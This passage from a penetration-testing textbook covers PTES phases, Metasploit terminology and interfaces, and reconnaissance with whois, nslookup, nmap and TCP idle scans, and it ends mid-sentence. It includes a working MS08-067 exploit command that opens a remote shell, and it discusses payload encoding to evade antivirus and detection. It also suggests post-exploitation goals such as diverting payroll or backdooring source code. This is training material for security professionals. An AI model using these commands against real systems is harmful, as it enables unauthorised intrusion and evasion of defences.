opportunity to educate your customer about what is to be expected from a
thorough, full-scope penetration test—one without restrictions regarding what
can and will be tested during the engagement.
Intelligence Gathering
In the intelligence gathering phase, you will gather any information you can
about the organization you are attacking by using social-media networks,
Google hacking, footprinting the target, and so on. One of the most impor-
tant skills a penetration tester can have is the ability to learn about a target,
including how it behaves, how it operates, and how it ultimately can be attacked.
The information that you gather about your target will give you valuable
insight into the types of security controls in place.
During intelligence gathering, you attempt to identify what protection
mechanisms are in place at the target by slowly starting to probe its systems.
For example, an organization will often only allow traffic on a certain subset of
ports on externally facing devices, and if you query the organization on any-
thing other than a whitelisted port, you will be blocked. It is generally a good
idea to test this blocking behavior by initially probing from an expendable IP
address that you are willing to have blocked or detected. The same holds true
when you’re testing web applications, where, after a certain threshold, the
web application firewalls will block you from making further requests.
To remain undetected during these sorts of tests, you can perform your
initial scans from IP address ranges that can’t be linked back to you and your
team. Typically, organizations with an external presence on the Internet
experience attacks every day, and your initial probing will likely be an unde-
tected part of the background noise.
NOTE In some cases, it might make sense to run very noisy scans from an entirely different IP
range other than the one you will be using for the main attack. This will help you deter-
mine how well the organization responds to the tools you are using.
Threat Modeling
Threat modeling uses the information you acquired in the intelligence-gathering
phase to identify any existing vulnerabilities on a target system. When perform-
ing threat modeling, you will determine the most effective attack method,
The Absolute Basics of Penetration Testing 3
the type of information you are after, and how the organization might be
attacked. Threat modeling involves looking at an organization as an adversary
and attempting to exploit weaknesses as an attacker would.
Vulnerability Analysis
Having identified the most viable attack methods, you need to consider how
you will access the target. During vulnerability analysis, you combine the infor-
mation that you’ve learned from the prior phases and use it to understand
what attacks might be viable. Among other things, vulnerability analysis takes
into account port and vulnerability scans, data gathered by banner grabbing,
and information collected during intelligence gathering.
Exploitation
Exploitation is probably one of the most glamorous parts of a penetration test,
yet it is often done with brute force rather than with precision. An exploit
should be performed only when you know almost beyond a shadow of a doubt
that a particular exploit will be successful. Of course, unforeseen protective
measures might be in place on the target that prevent a particular exploit
from working—but before you trigger a vulnerability, you should know that
the system is vulnerable. Blindly firing off a mass onslaught of exploits and
praying for a shell isn’t productive; it is noisy and provides little if any value
to you as a penetration tester or to your client. Do your homework first, and
then launch well-researched exploits that are likely to succeed.
Post Exploitation
The post exploitation phase begins after you have compromised one or more
systems—but you’re not even close to being done yet.
Post exploitation is a critical component in any penetration test. This is
where you differentiate yourself from the average, run-of-the-mill hacker and
actually provide valuable information and intelligence from your penetration
test. Post exploitation targets specific systems, identifies critical infrastructure,
and targets information or data that the company values most and that it has
attempted to secure. When you exploit one system after another, you are try-
ing to demonstrate attacks that would have the greatest business impact.
When attacking systems in post exploitation, you should take the time
to determine what the various systems do and their different user roles. For
example, suppose you compromise a domain infrastructure system and you’re
running as an enterprise administrator or have domain administrative-level
rights. You might be king of the domain, but what about the systems that
communicate with Active Directory? What about the main financial applica-
tion that is used to pay employees? Could you compromise that system, and
then, on the next pay cycle, have it route all the money out of the company
to an offshore account? How about the target’s intellectual property?
4Chapter 1
Suppose, for example, that your client is a large software development
shop that ships custom-coded applications to customers for use in manufac-
turing environments. Can you backdoor their source code and essentially
compromise all of their customers? What would that do to harm their brand
credibility?
Post exploitation is one of those tricky scenarios in which you must take
the time to learn what information is available to you and then use that infor-
mation to your benefit. An attacker would generally spend a significant amount
of time in a compromised system doing the same. Think like a malicious
attacker—be creative, adapt quickly, and rely on your wits instead of auto-
mated tools.
Reporting
Reporting is by far the most important element of a penetration test. You will
use reports to communicate what you did, how you did it, and, most impor-
tant, how the organization should fix the vulnerabilities discovered during
the penetration test.
When performing a penetration test, you’re working from an attacker’s
point of view, something that organizations rarely see. The information you
obtain during a test is vital to the success of the organization’s information
security program and in stopping future attacks. As you compile and report
your findings, think about how the organization can use your findings to
raise awareness, remediate the issues discovered, and improve overall security
rather than just patch the technical vulnerabilities.
At a minimum, divide your report into an executive summary, executive
presentation, and technical findings. The technical findings will be used by
the client to remediate security holes, but this is also where the value lies in a
penetration test. For example, if you find a SQL injection vulnerability in the
client’s web-based applications, you might recommend that your client sani-
tize all user input, leverage parameterized SQL queries, run SQL as a limited
user account, and turn on custom error messages.
After the client implements your recommendations and fixes the one
specific SQL injection vulnerability, are they really protected from SQL injec-
tion? No. An underlying problem likely caused the SQL injection vulnerability
in the first place, such as a failure to ensure that third-party applications are
secure. Those will need to be fixed as well.
Types of Penetration Tests
Now that you have a basic understanding of the seven PTES categories, let’s
examine the two main types of penetration tests: overt and covert. An overt
pen test, or “white hat” test, occurs with the organization’s full knowledge;
covert tests are designed to simulate the actions of an unknown and unan-
nounced attacker. Both tests offer advantages and disadvantages.
The Absolute Basics of Penetration Testing 5
Overt Penetration Testing
Using overt penetration testing, you work with the organization to identify
potential security threats, and the organization’s IT or security team shows you
the organization’s systems. The one main benefit of an overt test is that you
have access to insider knowledge and can launch attacks without fear of
being blocked. A potential downside to overt testing is that overt tests might
not effectively test the client’s incident response program or identify how
well the security program detects certain attacks. When time is limited and
certain PTES steps such as intelligence gathering are out of scope, an overt
test may be your best option.
Covert Penetration Testing
Unlike overt testing, sanctioned covert penetration testing is designed to sim-
ulate the actions of an attacker and is performed without the knowledge of
most of the organization. Covert tests are performed to test the internal
security team’s ability to detect and respond to an attack.
Covert tests can be costly and time consuming, and they require more
skill than overt tests. In the eyes of penetration testers in the security industry,
the covert scenario is often preferred because it most closely simulates a true
attack. Covert attacks rely on your ability to gain information by reconnais-
sance. Therefore, as a covert tester, you will typically not attempt to find a
large number of vulnerabilities in a target but will simply attempt to find the
easiest way to gain access to a system, undetected.
Vulnerability Scanners
Vulnerability scanners are automated tools used to identify security flaws
affecting a given system or application. Vulnerability scanners typically work
by fingerprinting a target’s operating system (that is, identifying the version
and type) as well as any services that are running. Once you have fingerprinted
the target’s operating system, you use the vulnerability scanner to execute
specific checks to determine whether vulnerabilities exist. Of course, these
checks are only as good as their creators, and, as with any fully automated
solution, they can sometimes miss or misrepresent vulnerabilities on a system.
Most modern vulnerability scanners do an amazing job of minimizing
false positives, and many organizations use them to identify out-of-date systems
or potential new exposures that might be exploited by attackers.
Vulnerability scanners play a very important role in penetration testing,
especially in the case of overt testing, which allows you to launch multiple
attacks without having to worry about avoiding detection. The wealth of
knowledge gleaned from vulnerability scanners can be invaluable, but beware
of relying on them too heavily. The beauty of a penetration test is that it can’t
be automated, and attacking systems successfully requires that you have
knowledge and skills. In most cases, when you become a skilled penetration
tester, you will rarely use a vulnerability scanner but will rely on your knowl-
edge and expertise to compromise a system.
6Chapter 1
Pulling It All Together
If you’re new to penetration testing or haven’t really adopted a formal
methodology, study the PTES. As with any experiment, when performing a
penetration test, ensure that you have a refined and adaptable process that is
also repeatable. As a penetration tester, you need to ensure that your intelli-
gence gathering and vulnerability analysis are as expert as possible, to give
you an advantage in adapting to scenarios as they present themselves.

METASPLOIT BASICS
When you encounter the Metasploit Framework (MSF)
for the first time, you might be overwhelmed by its
many interfaces, options, utilities, variables, and mod-
ules. In this chapter, we’ll focus on the basics that will
help you make sense of the big picture. We’ll review
some basic penetration testing terminology and then
briefly cover the various user interfaces that Metasploit has to offer. Meta-
sploit itself is free, open source software, with many contributors in the secu-
rity community, but two commercial Metasploit versions are also available.
When first using Metasploit, it’s important not to get hung up on that new-
est exploit; instead, focus on how Metasploit functions and what commands
you used to make the exploit possible.
Terminology
Throughout this book, we’ll use various terms that first bear some explana-
tion. The majority of the following basic terms are defined in the context of
Metasploit, but they are generally the same throughout the security industry.
8Chapter 2
Exploit
An exploit is the means by which an attacker, or pen tester for that matter, takes
advantage of a flaw within a system, an application, or a service. An attacker
uses an exploit to attack a system in a way that results in a particular desired
outcome that the developer never intended. Common exploits include buffer
overflows, web application vulnerabilities (such as SQL injection), and con-
figuration errors.
Payload
A payload is code that we want the system to execute and that is to be selected
and delivered by the Framework. For example, a reverse shell is a payload that
creates a connection from the target machine back to the attacker as a Win-
dows command prompt (see Chapter 5), whereas a bind shell is a payload that
“binds” a command prompt to a listening port on the target machine, which
the attacker can then connect. A payload could also be something as simple as
a few commands to be executed on the target operating system.
Shellcode
Shellcode is a set of instructions used as a payload when exploitation occurs.
Shellcode is typically written in assembly language. In most cases, a command
shell or a Meterpreter shell will be provided after the series of instructions
have been performed by the target machine, hence the name.
Module
A module in the context of this book is a piece of software that can be used by
the Metasploit Framework. At times, you may require the use of an exploit
module, a software component that conducts the attack. Other times, an
auxiliary module may be required to perform an action such as scanning or
system enumeration. These interchangeable modules are the core of what
makes the Framework so powerful.
Listener
A listener is a component within Metasploit that waits for an incoming connection
of some sort. For example, after the target machine has been exploited, it may
call the attacking machine over the Internet. The listener handles that connec-
tion, waiting on the attacking machine to be contacted by the exploited system.
Metasploit Interfaces
Metasploit offers more than one interface to its underlying functionality,
including console, command line, and graphical interfaces. In addition to
these interfaces, utilities provide direct access to functions that are normally
internal to the Metasploit Framework. These utilities can be invaluable for
exploit development and situations for which you do not need the flexibility
of the entire Framework.

Metasploit Basics 9
MSFconsole
Msfconsole is by far the most popular part of the Metasploit Framework,
and for good reason. It is one of the most flexible, feature-rich, and well-
supported tools within the Framework. Msfconsole provides a handy all-in-one
interface to almost every option and setting available in the Framework; it’s
like a one-stop shop for all of your exploitation dreams. You can use msfconsole
to do everything, including launching an exploit, loading auxiliary modules,
performing enumeration, creating listeners, or running mass exploitation
against an entire network.
Although the Metasploit Framework is constantly changing, a subset of
commands remain relatively constant. By mastering the basics of msfconsole,
you will be able to keep up with any changes. To illustrate the importance of
learning msfconsole, it will be used in nearly every chapter of the book.
Starting MSFconsole
To launch msfconsole, enter msfconsole at the command line:
root@bt:/# cd /opt/framework3/msf3/
root@bt:/opt/framework/msf3# msfconsole
< metasploit >
------------
\ ,__,
\ (oo)____
(__) )\
||--|| *
msf >
To access msfconsole’s help files, enter help followed by the command
which you are interested in. In the next example, we are looking for help
for the command connect, which allows us to communicate with a host. The
resulting documentation lists usage, a description of the tool, and the various
option flags.
msf > help connect
We’ll explore MSFConsole in greater depth in the chapters that follow.
MSFcli
Msfcli and msfconsole take very different approaches to providing access to the
Framework. Where msfconsole provides an interactive way to access all features
in a user-friendly manner, msfcli puts the priority on scripting and interpret-
ability with other console-based tools. Instead of providing a unique inter-
preter to the Framework, msfcli runs directly from the command line, which
allows you to redirect output from other tools into msfcli and direct msfcli
output to other command-line tools. Msfcli also supports the launching of
exploits and auxiliary modules, and it can be convenient when testing mod-
ules or developing new exploits for the Framework. It is a fantastic tool for

10 Chapter 2
unique exploitation when you know exactly which exploit and options you
need. It is less forgiving than msfconsole, but it offers some basic help (includ-
ing usage and a list of modes) with the command msfcli -h, as shown here:
root@bt:/opt/framework3/msf3# msfcli -h
Usage: /opt/framework3/msf3/msfcli <exploit_name> <option=value> [mode]
==============================================================================
Mode Description
---- ---------------
(H)elp You're looking at it, baby!
(S)ummary Show information about this module
(O)ptions Show available options for this module
(A)dvanced Show available advanced options for this module
(I)DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module
(T)argets Show available targets for this exploit module
(AC)tions Show available actions for this auxiliary module
(C)heck Run the check routine of the selected module
(E)xecute Execute the selected module
root@bt:/opt/framework3/msf3#
Sample Usage
Let’s take a look at how you might use msfcli. Don’t worry about the details;
these examples are intended to give you a sense of how you might work with
this interface.
When you are first learning Metasploit or whenever you get stuck, you
can see the options available in a module by appending the letter O to the end
of the string at whichever point you are stuck. For example, in the following
listing, we use the O to see the options available for the ms08_067_netapi module:
root@bt:/# msfcli windows/smb/ms08_067_netapi O
[*] Please wait while we load the module tree...
Name Current Setting Required Description
---- --------------- -------- -----------
RHOST 0.0.0.0 yes The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)
You can see that the module requires three options: RHOST, RPORT, and
SMPIPE. Now, by adding a P, we can check for available payloads:
root@bt:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 P
[*] Please wait while we load the module tree...

Metasploit Basics 11
Compatible payloads
===================
Name Description
---- -----------
generic/debug_trap Generate a debug trap in the target process
generic/shell_bind_tcp Listen for a connection and spawn a command shell
Having set all the required options for our exploit and selecting a pay-
load, we can run our exploit by passing the letter E to the end of the msfcli
argument string, as shown here:
root@bt:/# msfcli windows/smb/ms08_067_netapi RHOST=192.168.1.155 PAYLOAD=windows/shell/bind_tcp E
[*] Please wait while we load the module tree...
[*] Started bind handler
[*] Automatically detecting the target...
[*] Fingerprint: Windows XP Service Pack 2 - lang:English
[*] Selected Target: Windows XP SP2 English (NX)
[*] Triggering the vulnerability...
[*] Sending stage (240 bytes)
[*] Command shell session 1 opened (192.168.1.101:46025 -> 192.168.1.155:4444)
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\WINDOWS\system32>
We’re successful, because we have received a Windows command
prompt from the remote system.
Armitage
The armitage component of Metasploit is a fully interactive graphical user
interface created by Raphael Mudge. This interface is highly impressive,
feature rich, and available for free. We won’t be covering armitage in depth,
but it is definitely worth mentioning as something to explore. Our goal is
to teach the ins and outs of Metasploit, and the GUI is awesome once you
understand how the Framework actually operates.
Running Armitage
To launch armitage, run the command armitage. During startup, select Start
MSF, which will allow armitage to connect to your Metasploit instance.
root@bt:/opt/framework3/msf3# armitage
After armitage is running, simply click a menu to perform a particular
attack or access other Metasploit functionality. For example, Figure 2-1 shows
the browser (client-side) exploits.

12 Chapter 2
Figure 2-1: The armitage’s browser exploit menu
Metasploit Utilities
Having covered Metasploit’s three main interfaces, it’s time to cover a few
utilities. Metasploit’s utilities are direct interfaces to particular features of the
Framework that can be useful in specific situations, especially in exploit devel-
opment. We will cover some of the more approachable utilities here and
introduce additional ones throughout the book.
MSFpayload
The msfpayload component of Metasploit allows you to generate shellcode,
executables, and much more for use in exploits outside of the Framework.
Shellcode can be generated in many formats including C, Ruby, JavaScript,
and even Visual Basic for Applications. Each output format will be useful in
various situations. For example, if you are working with a Python-based proof
of concept, C-style output might be best; if you are working on a browser
exploit, a JavaScript output format might be best. After you have your desired
output, you can easily insert the payload directly into an HTML file to trigger
the exploit.

Metasploit Basics 13
To see which options the utility takes, enter msfpayload -h at the command
line, as shown here:
root@bt:/# msfpayload -h
As with msfcli, if you find yourself stuck on the required options for a pay-
load module, append the letter O on the command line for a list of required
and optional variables, like so:
root@bt:/# msfpayload windows/shell_reverse_tcp O
We will dive much deeper into msfpayload as we explore exploit develop-
ment in later chapters.
MSFencode
The shellcode generated by msfpayload is fully functional, but it contains sev-
eral null characters that, when interpreted by many programs, signify the
end of a string, and this will cause the code to terminate before completion.
In other words, those x00s and xffs can break your payload!
In addition, shellcode traversing a network in cleartext is likely to be
picked up by intrusion detection systems (IDSs) and antivirus software. To
address this problem, Metasploit’s developers offer msfencode, which helps
you to avoid bad characters and evade antivirus and IDSs by encoding the
original payload in a way that does not include “bad” characters. Enter
msfencode -h to see a list of msfencode options.
Metasploit contains a number of different encoders for specific situations.
Some will be useful when you can use only alphanumeric characters as part
of a payload, as is the case with many file format exploits or other applications
that accept only printable characters as input, while others are great general
purpose encoders that do well in every situation.
When in doubt, though, you really can’t go wrong with the x86/shikata_
ga_nai encoder, the only encoder with the rank of Excellent, a measure of
the reliability and stability of a module. In the context of an encoder, an
Excellent ranking implies that it is one of the most versatile encoders and
can accommodate a greater degree of fine-tuning than other encoders. To
see the list of encoders available, append -l to msfencode as shown next. The
payloads are ranked in order of reliability.
root@bt:~# msfencode -l
Nasm Shell
The nasm_shell.rb utility can be handy when you’re trying to make sense of
assembly code, especially if, during exploit development, you need to iden-
tify the opcodes (the assembly instructions) for a given assembly command.

14 Chapter 2
For example, here we run the tool and request the opcodes for the jmp
esp command, which nasm_shell tells us is FFE4.
root@bt:/opt/framework3/msf3/tools# ./nasm_shell.rb
nasm > jmp esp
00000000 FFE4 jmp esp
Metasploit Express and Metasploit Pro
Metasploit Express and Metasploit Pro are commercial web interfaces to
the Metasploit Framework. These utilities provide substantial automation
and make things easier for new users, while still providing full access to the
Framework. Both products also provide tools that are unavailable in the
community editions of the Framework, such as automated password brute
forcing and automated website attacks. In addition, a nice reporting back-
end to Metasploit Pro can speed up one of the least popular aspects of
penetration testing: writing the report.
Are these tools worth purchasing? Only you can make that choice. The
commercial editions of Metasploit are intended for professional penetration
testers and can ease many of the more routine aspects of the job, but if the
time savings from the automations in these commercial products are useful
for you, they might justify the purchase price.
Remember, however, as you automate your work, that humans are better
at identifying attack vectors than automated tools.
Wrapping Up
In this chapter, you learned a little bit of the basics of the Metasploit Frame-
work. As you progress through this book, you will begin using these tools in a
much more advanced capacity. You’ll find a few different ways to accomplish
the same tasks using different tools. It will ultimately be up to you to decide
which tool best suits your needs.
Now that you have the basics under control, let’s move to the next phase
of the pen testing process: discovery.

INTELLIGENCE GATHERING
Intelligence gathering follows the pre-engagement
activities as the second step in a penetration test. Your
goals during intelligence gathering should be to gain
accurate information about your targets without reveal-
ing your presence or your intentions, to learn how the
organization operates, and to determine the best route
of entry. If you don’t do a thorough job of intelligence gathering, you may
miss vulnerable systems or viable attack vectors. It takes time and patience to
sort through web pages, perform Google hacking, and map systems thor-
oughly in an attempt to understand the infrastructure of a particular target.
Intelligence gathering requires careful planning, research, and, most impor-
tantly, the ability to think like an attacker. At this step, you will attempt to col-
lect as much information about the target environment as possible. This can
be an expansive amount of information, and even the most trivial data gath-
ered during this stage can prove useful later on, so pay attention.
Before you begin intelligence gathering, consider how you will record
everything you do and the results you achieve. You must remember and record

16 Chapter 3
as many details of your penetration test as possible. Most security professionals
quickly learn that detailed notes can mean the difference between a successful
and a failed penetration test. Just as a scientist needs to achieve reproducible
results, other experienced penetration testers should be able to reproduce
your work using your documentation alone.
Intelligence gathering is arguably the most important aspect of a pene-
tration test, because it provides the foundation for all work that follows. When
recording your work, be methodical, accurate, and precise. And, as stated
earlier, be sure that before you fire off your exploits, you have learned all
that you can about your target.
The excitement for most people comes in exploiting systems and getting
to root, but you need to learn to walk before you can run.
WARNING If you follow the procedures in this chapter, you can actually damage your system and
your target’s system, so be sure to set up your test environment now. (For help, see
Appendix A.) Many of the examples in these chapters can be destructive and make a
target system unusable. The activities discussed in this chapter could be considered
illegal if they are undertaken by someone with bad intentions, so follow the rules and
don’t be stupid.
Passive Information Gathering
By using passive and indirect information gathering, you can discover informa-
tion about targets without touching their systems. For example, you can use
these techniques to identify network boundaries, identify the network main-
tainers, and even learn what operating system and web server software is in
use on the target network.
Open source intelligence (OSINT) is a form of intelligence collection that
uses open or readily available information to find, select, and acquire infor-
mation about a target. Several tools make passive information gathering
almost painless, including complex tools such as Yeti and the humble whois.
In this section, we’ll explore the process of passive information gathering
and the tools that you might use for this step.
Imagine, for example, an attack against http://www.secmaniac.net/. Our
goal is to determine, as a part of a penetration test, what systems the com-
pany owns and what systems we can attack. Some systems may not be owned
by the company and could be considered out of scope and unavailable for
attack.
whois Lookups
Let’s begin by using Back|Track’s whois lookup to find the names of
secmaniac.net’s domain servers.
msf > whois secmaniac.net
[*] exec: whois secmaniac.net
. . . SNIP . . .

Intelligence Gathering 17
Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
Domain Name: SECMANIAC.NET
Created on: 03-Feb-10
Expires on: 03-Feb-12
Last Updated on: 03-Feb-10
Domain servers in listed order:
NS57.DOMAINCONTROL.COM
NS58.DOMAINCONTROL.COM
We learn at that the Domain Name System (DNS) servers are hosted
by DOMAINCONTROL.COM, so this is a good example of systems that would
not be included in a penetration test because we would have no authority to
attack them. In most large organizations, the DNS servers are housed within
the company and are viable attack vectors. Zone transfers and similar DNS
attacks can often be used to learn more about a network from both the inside
and outside. In this scenario, because DOMAINCONTROL.COM is not owned
by secmaniac.net, we should not attack these systems and will instead move on
to a different attack vector.
Netcraft
Netcraft (http://searchdns.netcraft.com/) is a web-based tool that we can use to find
the IP address of a server hosting a particular website, as shown in Figure 3-1.
Figure 3-1: Use Netcraft to find the IP address of the server hosting a particular website.
Having identified secmaniac.net’s IP address as 75.118.185.142, we do
another whois lookup on that IP address:
msf > whois 75.118.185.142
[*] exec: whois 75.118.185.142
WideOpenWest Finance LLC WIDEOPENWEST (NET-75-118-0-0-1)
75.118.0.0 - 75.118.255.255
WIDEOPENWEST OHIO WOW-CL11-1-184-118-75 (NET-75-118-184-0-1)
75.118.184.0 - 75.118.191.255
We see from the whois lookup and a quick search that this IP
(WIDEOPENWEST) appears to be a legitimate service provider. While
the actual subnet range isn’t specifically registered to secmaniac.net or
secmaniac.com, we can tell that this site appears to be hosted inside the
author’s home, because the IP block appears to be part of a residential
range.

18 Chapter 3
NSLookup
To get additional server information, we’ll use Back|Track to leverage nslookup, a
tool built into most operating systems, to find information about secmaniac.net.
root@bt:~# nslookup
set type=mx
> secmaniac.net
Server: 172.16.32.2
Address: 172.16.32.2#53
Non-authoritative answer:
secmaniac.net mail exchanger = 10 mailstore1.secureserver.net.
secmaniac.net mail exchanger = 0 smtp.secureserver.net.
We see in this listing that the mail servers are pointing to mailstore1
.secureserver.net and smtp.secureserver.net. Some quick research on these mail
servers tells us that this website is hosted by a third party, which would not
be within the scope of our penetration test.
At this point, we have gathered some valuable information that we might
be able to use against the target later on. Ultimately, however, we have to
resort to active information gathering techniques to determine the actual
target IP, which is 75.118.185.142.
NOTE Passive information gathering is an art that is not easily mastered in just a few pages
of discussion. See the Penetration Testing Execution Standard (PTES; http://
www.pentest-standard.org/) for a list of potential ways to perform additional pas-
sive intelligence gathering.
Active Information Gathering
In active information gathering, we interact directly with a system to learn
more about it. We might, for example, conduct port scans for open ports on
the target or conduct scans to determine what services are running. Each system
or running service that we discover gives us another opportunity for exploita-
tion. But beware: If you get careless while active information gathering, you
might be nabbed by an IDS or intrusion prevention system (IPS)—not a
good outcome for the covert penetration tester.
Port Scanning with Nmap
Having identified the target IP range with passive information gathering as
well as the secmaniac.net target IP address, we can begin to scan for open ports
on the target by port scanning, a process whereby we meticulously connect to
ports on the remote host to identify those that are active. (Obviously, in a
larger enterprise, we would have multiple IP ranges and things to attack
instead of only one IP.)
Nmap is, by far, the most popular port scanning tool. It integrates with
Metasploit quite elegantly, storing scan output in a database backend for

Intelligence Gathering 19
later use. Nmap lets you scan hosts to identify the services running on each,
any of which might offer a way in.
For this example, let’s leave secmaniac.net behind and turn to the virtual
machine described in Appendix A, with IP address 172.16.32.131. Before we
get started, take a quick look at the basic nmap syntax by entering nmap from
the command line on your Back|Track machine.
You’ll see immediately that nmap has a quite a few options, but you’ll use
just a few of them for the most part.
One of our preferred nmap options is -sS. This runs a stealth TCP scan
that determines whether a specific TCP-based port is open. Another preferred
option is -Pn, which tells nmap not to use ping to determine whether a system
is running; instead, it considers all hosts “alive.” If you’re performing Internet-
based penetration tests, you should use this flag, because most networks
don’t allow Internet Control Message Protocol (ICMP), which is the protocol
that ping uses. If you’re performing this scan internally, you can probably
ignore this flag.
Now let’s run a quick nmap scan against our Windows XP machine using
both the -sS and -Pn flags.
root@bt:~# nmap -sS -Pn 172.16.32.131
Nmap scan report for 172.16.32.131
Host is up (0.00057s latency).
Not shown: 990 closed ports
PORT STATE SERVICE
21/tcp open ftp
25/tcp open smtp
80/tcp open http
135/tcp open msrpc
139/tcp open netbios-ssn
443/tcp open https
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
1433/tcp open ms-sql-s
3389/tcp open ms-term-serv
Nmap done: 1 IP address (1 host up) scanned in 14.34 seconds
As you can see, nmap reports a list of open ports, along with a description
of the associated service for each.
For more detail, try using the -A flag. This option will attempt advanced
service enumeration and banner grabbing, which may give you even more
details about the target system. For example, here’s what we’d see if we were
to call nmap with the -sS and -A flags, using our same target system:
root@bt:~# nmap -Pn -sS -A 172.16.32.131
Nmap scan report for 172.16.32.131
Host is up (0.0035s latency).
Not shown: 993 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

20 Chapter 3
777/tcp open unknown
1039/tcp open unknown
1138/tcp open msrpc Microsoft Windows RPC
1433/tcp open ms-sql-s Microsoft SQL Server 2005 9.00.1399; RTM
. . . SNIP . . .
Device type: general purpose
Running: Microsoft Windows XP|2003
OS details: Microsoft Windows XP Professional SP2 or Windows Server 2003
Network Distance: 1 hop
Service Info: OS: Windows
Host script results:
|_nbstat: NetBIOS name: V-MAC-XP, NetBIOS user: <unknown>, NetBIOS MAC:
00:0c:29:c9:38:4c (VMware)
|_smbv2-enabled: Server doesn't support SMBv2 protocol
| smb-os-discovery:
| OS: Windows XP (Windows 2000 LAN Manager)
| Name: WORKGROUP\V-MAC-XP
Working with Databases in Metasploit
When you’re running a complex penetration test with a lot of targets, keep-
ing track of everything can be a challenge. Luckily, Metasploit has you cov-
ered with expansive support for multiple database systems.
To ensure that database support is available for your system, you should
first decide which database system you want to run. Metasploit supports
MySQL and PostgreSQL; because PostgreSQL is the default, we’ll stick with
it in this discussion.
First, we start the database subsystem using the built-in Back|Track init.d
scripts.
root@bt~# /etc/init.d/postgresql-8.3 start
After PostgreSQL has started, we tell the Framework to connect to the
database instance. This connection requires a username, password, name of
the host on which the database is running, and the database name we want to
use. Back|Track’s default PostgreSQL username is postgres with the password
toor, but we’ll use msfbook as the database name. Let’s make the connection.
msf > db_connect postgres:toor@127.0.0.1/msfbook
If this were the first time we connected to the database name, we would
see a lot of text output as Metasploit sets up all the necessary tables. Other-
wise, the command will return to the msfconsole prompt.
Metasploit provides a number of commands that we can use to interact
with the database, as you’ll see throughout this book. (For a complete list,
enter help.) For now, we’ll use db_status to make sure that we’re connected
correctly.

Intelligence Gathering 21
msf > db_status
[*] postgresql connected to msfbook
Everything seems to be set up just fine.
Importing Nmap Results into Metasploit
When you are working with other team members, with various individuals
scanning at different times and from different locations, it helps to know
how to run nmap on its own and then import its results into the Framework.
Next, we’ll examine how to import a basic nmap-generated XML export file
(generated with nmap’s -oX option) into the Framework.
First, we scan the Windows virtual machine using the -oX option to gener-
ate a Subnet1.xml file:
nmap -Pn -sS -A -oX Subnet1 192.168.1.0/24
After generating the XML file, we use the db_import command to import
it into our database. We can then verify that the import worked by using the
db_hosts command, which lists the systems entries that have been created, as
shown here:
msf > db_connect postgres:toor@127.0.0.1/msf3
msf > db_import Subnet1.xml
msf > db_hosts -c address
Hosts
=====
address
-------
192.168.1.1
192.168.1.10
192.168.1.101
192.168.1.102
192.168.1.109
192.168.1.116
192.168.1.142
192.168.1.152
192.168.1.154
192.168.1.171
192.168.1.155
192.168.1.174
192.168.1.180
192.168.1.181
192.168.1.2
192.168.1.99
msf >

22 Chapter 3
This tells us that we’ve successfully imported the output of our nmap
scans into Metasploit, as evidenced by the IP addresses populated when we
run the db_hosts commands.
Advanced Nmap Scanning: TCP Idle Scan
A more advanced nmap scan method, TCP idle scan, allows us to scan a target
stealthily by spoofing the IP address of another host on the network. For this
type of scan to work, we first need to locate an idle host on the network that
uses incremental IP IDs (which are used to track packet order). When we
discover an idle system that uses incremental IP IDs, the IP IDs become pre-
dictable, and we can then predict the next ID. However, when spoofing the
address of an idle host while scanning a target’s responses from open ports,
we can see a break in the predictability of the IP ID sequence, which indi-
cates that we have discovered an open port. (To learn more about this mod-
ule and IP ID sequences, visit http://www.metasploit.com/modules/auxiliary/
scanner/ip/ipidseq/.)
Use the Framework’s scanner/ip/ipidseq module to scan for a host that fits
the TCP idle scan requirements, as shown next:
msf > use auxiliary/scanner/ip/ipidseq
msf auxiliary(ipidseq) > show options
Module options:
Name Current Setting Required Description
---- --------------- -------- -----------
GWHOST no The gateway IP address
INTERFACE no The name of the interface
LHOST no The local IP address
RHOSTS yes The target address range or CIDR identifier
RPORT 80 yes The target port
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads
TIMEOUT 500 yes The reply read timeout in milliseconds
This listing displays the required options for the ipidseq scan. One notable
one, RHOSTS at , can take IP ranges (such as 192.168.1.20–192.168.1.30);
Classless Inter-Domain Routing (CIDR) ranges (such as 192.168.1.0/24);
multiple ranges separated by commas (such as 192.168.1.0/24, 192.168.3.0/24);
and a text file with one host per line (such as file:/tmp/hostlist.txt). All these
options give us quite a bit of flexibility in specifying our targets.
The THREADS value at sets the number of concurrent threads to use
while scanning. By default, all scanner modules have their THREADS value initially
set to 1. We can raise this value to speed up our scans or lower it to reduce
network traffic. In general, you should not set the THREADS value greater 16
when running Metasploit on Windows, and not greater than 128 on UNIX-
like operating systems.

Intelligence Gathering 23
Now let’s set our values and run the module. We’ll set the value for RHO-
STS to 192.168.1.0/24, set THREADS to 50, and then run the scan.
msf auxiliary(ipidseq) > set RHOSTS 192.168.1.0/24
RHOSTS => 192.168.1.0/24
msf auxiliary(ipidseq) > set THREADS 50
THREADS => 50
msf auxiliary(ipidseq) > run
[*] 192.168.1.1's IPID sequence class: All zeros
[*] 192.168.1.10's IPID sequence class: Incremental!
[*] Scanned 030 of 256 hosts (011% complete)
[*] 192.168.1.116's IPID sequence class: All zeros
[*] 192.168.1.109's IPID sequence class: Incremental!
[*] Scanned 128 of 256 hosts (050% complete)
[*] 192.168.1.154's IPID sequence class: Incremental!
[*] 192.168.1.155's IPID sequence class: Incremental!
[*] Scanned 155 of 256 hosts (060% complete)
[*] 192.168.1.180's IPID sequence class: All zeros
[*] 192.168.1.181's IPID sequence class: Incremental!
[*] 192.168.1.185's IPID sequence class: All zeros
[*] 192.168.1.184's IPID sequence class: Randomized
[*] Scanned 232 of 256 hosts (090% complete)
[*] Scanned 256 of 256 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(ipidseq) >
Judging by the results of our scan, we see a number of potential idle hosts
that we can use to perform idle scanning. We’ll try scanning a host using the
system at 192.168.1.109 shown at by using the -sI command line flag to
specify the idle host:
